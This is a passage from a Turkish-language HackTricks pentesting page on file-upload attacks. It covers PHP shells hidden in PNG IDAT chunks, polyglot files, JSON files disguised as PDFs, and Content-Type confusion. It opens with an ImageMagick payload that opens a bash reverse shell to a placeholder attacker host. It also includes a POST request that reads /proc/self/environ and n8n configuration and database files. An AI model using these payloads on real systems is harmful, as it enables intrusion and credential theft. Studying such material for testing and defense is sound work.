fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PNG İçine PHP Shell Gömme

Bir PHP shell’i bir PNG dosyasının IDAT chunk’ına gömmek, bazı image processing işlemlerini etkili şekilde atlatabilir. PHP-GD’den imagecopyresized ve imagecopyresampled fonksiyonları bu bağlamda özellikle ilgilidir; çünkü sırasıyla görüntüleri yeniden boyutlandırmak ve yeniden örneklemek için yaygın olarak kullanılırlar. Gömülü PHP shell’in bu işlemlerden etkilenmeden kalabilmesi bazı kullanım durumları için büyük bir avantajdır.

Bu tekniğin metodolojisi ve potansiyel uygulamaları dahil olmak üzere ayrıntılı bir inceleme şu makalede sunulmuştur: “Encoding Web Shells in PNG IDAT chunks”. Bu kaynak süreç ve sonuçları hakkında kapsamlı bir anlayış sağlar.

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Dosyalar

Polyglot dosyalar siber güvenlikte benzersiz bir araç olarak hizmet eder; aynı anda birden fazla dosya formatında geçerli şekilde var olabilen kamuflajcılar gibidirler. İlginç bir örnek GIFAR olup, hem GIF hem de RAR arşivi olarak işlev görür. Bu tür dosyalar yalnızca bu eşleşmeyle sınırlı değildir; GIF ve JS ya da PPT ve JS gibi kombinasyonlar da mümkündür.

Polyglot dosyaların temel faydası, dosya türüne göre tarama yapan güvenlik önlemlerini aşabilme yetenekleridir. Çeşitli uygulamalarda yaygın uygulama, potansiyel olarak tehlikeli formatları (ör. JS, PHP, veya Phar dosyaları) azaltmak için yalnızca belirli dosya türlerine—JPEG, GIF veya DOC gibi—izin vermektir. Ancak bir polyglot, birden fazla dosya türünün yapısal kriterlerine uyduğunda, bu kısıtlamaları gizlice atlatabilir.

Uyum yeteneklerine rağmen polyglot’lar sınırlamalarla karşılaşır. Örneğin, bir polyglot aynı anda bir PHAR (PHp ARchive) dosyası ve bir JPEG içerebilir, ancak yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem izin verilen uzantılarda katıysa, polyglot’un yapısal ikiliği yüklemesini garanti etmeyebilir.

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

PDF gibi davranan geçerli JSON’ları yükleme

Bir PDF dosyası gibi sahte davranarak izin verilmese bile geçerli bir JSON dosyası yükleyerek dosya türü tespitlerinden nasıl kaçınılır (teknikler this blog post kaynaklı):

  • mmmagic library: %PDF magic baytları ilk 1024 byte içinde olduğu sürece geçerli sayılıyor (örnek için gönderiye bakın)
  • pdflib library: JSON içindeki bir alanın içine sahte bir PDF formatı ekleyin ki kütüphane bunun bir pdf olduğunu düşünsün (örnek için gönderiye bakın)
  • file binary: Bir dosyadan 1048576 byte’a kadar okuyabilir. Dosyayı bir JSON’dan daha büyük oluşturun ki içeriği bir json olarak parse edemesin ve sonra JSON’un içine gerçek bir PDF’in başlangıç kısmını koyun; böylece bunun bir PDF olduğunu düşünecektir

Content-Type karışıklığıyla rastgele dosya okuma

Bazı upload handler’lar parsed request body’ye güvenir (ör. context.getBodyData().files) ve daha sonra Content-Type: multipart/form-data uygulamadan önce file.filepath’ten dosyayı kopyalar. Eğer sunucu application/json kabul ediyorsa, filepath’i herhangi bir yerel yola işaret edecek sahte bir files objesi sağlayabilirsiniz; bu, upload akışını keyfi dosya okuma primitive’ine dönüştürür.

Yüklenen ikili veriyi HTTP yanıtında döndüren bir form iş akışına karşı örnek POST:

POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json

{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}

Backend file.filepath’i kopyalıyor, bu yüzden cevap o yolun içeriğini döndürüyor. Yaygın zincir: $HOME’i öğrenmek için /proc/self/environ okunur; sonra anahtarlar için $HOME/.n8n/config ve kullanıcı tanımlayıcıları için $HOME/.n8n/database.sqlite okunur.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin